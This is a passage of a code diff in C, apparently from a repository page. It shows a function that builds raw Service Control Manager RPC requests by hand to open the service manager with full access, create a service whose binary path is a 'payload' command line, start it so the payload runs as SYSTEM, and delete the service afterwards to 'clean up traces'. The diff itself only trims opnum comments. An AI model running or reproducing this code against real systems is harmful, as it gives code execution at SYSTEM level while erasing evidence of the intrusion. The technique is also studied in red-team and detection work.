@@ -363,19 +363,19 @@ int InvokeCreateSvcRpcMain(char* pExecCmd)
363363 return 1;
364364
365365 //-------------------------------------------------------------------------
366- // Step 2: ROpenSCManagerW (Opnum 27) - Get SCM Handle
366+ // Step 2: ROpenSCManagerW - Get SCM Handle
367367 //-------------------------------------------------------------------------
368368 RpcInitialiseRequestData(&RpcConnection);
369369 RpcAppendRequestData_Dword(&RpcConnection, 0); // lpMachineName = NULL
370370 RpcAppendRequestData_Dword(&RpcConnection, 0); // lpDatabaseName = NULL
371371 RpcAppendRequestData_Dword(&RpcConnection, SC_MANAGER_ALL_ACCESS); // dwDesiredAccess
372- RpcSendRequest(&RpcConnection, RPC_CMD_ID_OPEN_SC_MANAGER); // Opnum 27
372+ RpcSendRequest(&RpcConnection, RPC_CMD_ID_OPEN_SC_MANAGER);
373373
374374 // Response first 20 bytes is SCM handle, last 4 bytes is return value
375375 memcpy(bServiceManagerObject, &RpcConnection.bProcedureOutputData[0], 20);
376376
377377 //-------------------------------------------------------------------------
378- // Step 3: RCreateServiceW (Opnum 24) - Create Service
378+ // Step 3: RCreateServiceW - Create Service
379379 // Here we manually serialize all parameters of CreateService
380380 //-------------------------------------------------------------------------
381381 RpcInitialiseRequestData(&RpcConnection);
@@ -392,30 +392,30 @@ int InvokeCreateSvcRpcMain(char* pExecCmd)
392392 // ... lpBinaryPathName (Our payload command line) ...
393393 RpcAppendRequestData_Binary(&RpcConnection, (BYTE*)szServiceCommandLine, dwServiceCommandLineLength);
394394 // ... Other parameters (LoadOrderGroup, Dependencies etc. set to NULL) ...
395- RpcSendRequest(&RpcConnection, RPC_CMD_ID_CREATE_SERVICE); // Opnum 24
395+ RpcSendRequest(&RpcConnection, RPC_CMD_ID_CREATE_SERVICE);
396396
397397 // Response: [0-3] TagId, [4-23] Service Handle, [24-27] Return Value
398398 memcpy(bServiceObject, &RpcConnection.bProcedureOutputData[4], 20);
399399
400400 //-------------------------------------------------------------------------
401- // Step 4: RStartServiceW (Opnum 31) - Start Service
401+ // Step 4: RStartServiceW - Start Service
402402 // Service will run as SYSTEM, executing our payload
403403 //-------------------------------------------------------------------------
404404 RpcInitialiseRequestData(&RpcConnection);
405405 RpcAppendRequestData_Binary(&RpcConnection, bServiceObject, 20); // hService
406406 RpcAppendRequestData_Dword(&RpcConnection, 0); // argc = 0
407407 RpcAppendRequestData_Dword(&RpcConnection, 0); // argv = NULL
408- RpcSendRequest(&RpcConnection, RPC_CMD_ID_START_SERVICE); // Opnum 31
408+ RpcSendRequest(&RpcConnection, RPC_CMD_ID_START_SERVICE);
409409
410410 // Note: Returning ERROR_SERVICE_REQUEST_TIMEOUT (1053) is normal
411411 // Because our "Service" is not a real service program, it won't respond to SCM control requests
412412
413413 //-------------------------------------------------------------------------
414- // Step 5: RDeleteService (Opnum 2) - Delete Service, clean up traces
414+ // Step 5: RDeleteService - Delete Service, clean up traces
415415 //-------------------------------------------------------------------------
416416 RpcInitialiseRequestData(&RpcConnection);
417417 RpcAppendRequestData_Binary(&RpcConnection, bServiceObject, 20);
418- RpcSendRequest(&RpcConnection, RPC_CMD_ID_DELETE_SERVICE); // Opnum 2
418+ RpcSendRequest(&RpcConnection, RPC_CMD_ID_DELETE_SERVICE);
419419
420420 RpcDisconnect(&RpcConnection);
421421 return 0;
0 commit comments